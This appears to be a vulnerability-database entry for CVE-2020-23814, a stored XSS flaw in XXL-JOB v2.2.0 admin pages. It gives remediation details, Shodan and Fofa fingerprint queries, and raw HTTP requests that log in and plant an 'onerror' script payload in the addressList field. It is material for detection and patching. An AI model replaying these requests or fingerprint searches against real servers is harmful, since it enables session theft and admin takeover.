🔙 목록으로 돌아가기

CVE-2020-23814: XXL-JOB v2.2.0 — Stored Cross Site Scripting

TitleXXL-JOB v2.2.0 — Stored Cross Site Scripting
AuthorSourabh-Sahu
SeverityMedium
ImpactAuthenticated attackers can inject malicious JavaScript through the AppName and AddressList parameters, potentially stealing admin session cookies or performing administrative actions on behalf of authenticated users.
RemediationUpgrade to XXL-JOB version 2.2.1 or later.
CVSS Score6.1
EPSS Score0.01905
CVE IDCVE-2020-23814
CWE IDCWE-79
Shodan Queryhttp.html:"/xxl-job-admin/static/favicon.ico"http.favicon.hash:"1691956220"
Fofa Queryapp="xxl-job"icon_hash=1691956220
Tags cve cve2020 xxl-job xss authenticated vkev vuln

🔍 Vulnerability Description

Multiple cross-site scripting (XSS) vulnerabilities in xxl-job v2.2.0 allow remote attackers to inject arbitrary web script or HTML via (1) AppName and (2)AddressList parameter in JobGroupController.java file.

🌐 HTTP Request

POST /xxl-job-admin/login HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Mobile/15E148 Safari/604.1
Connection: close
Content-Length: 33
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: /
Referer: //xxl-job-admin/toLogin
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

userName=NBDjTH&password=eCCHd7bK
GET /xxl-job-admin/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (SS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
POST /xxl-job-admin/jobgroup/save HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/603.3.8 (KHTML, like Gecko) Version/10.1.2 Safari/603.3.8
Connection: close
Content-Length: 102
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: /
Referer: //xxl-job-admin/jobgroup
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

appname=ccbkyc&title=ccbkyc&addressType=1&addressList=<img src=# onerror=\"alert(document.domain)\" />
POST /xxl-job-admin/jobgroup/pageList HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.13 Safari/605.1.15
Connection: close
Content-Length: 18
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: /
Referer: //xxl-job-admin/jobgroup
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

start=0&length=100

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-23814.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-23814.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A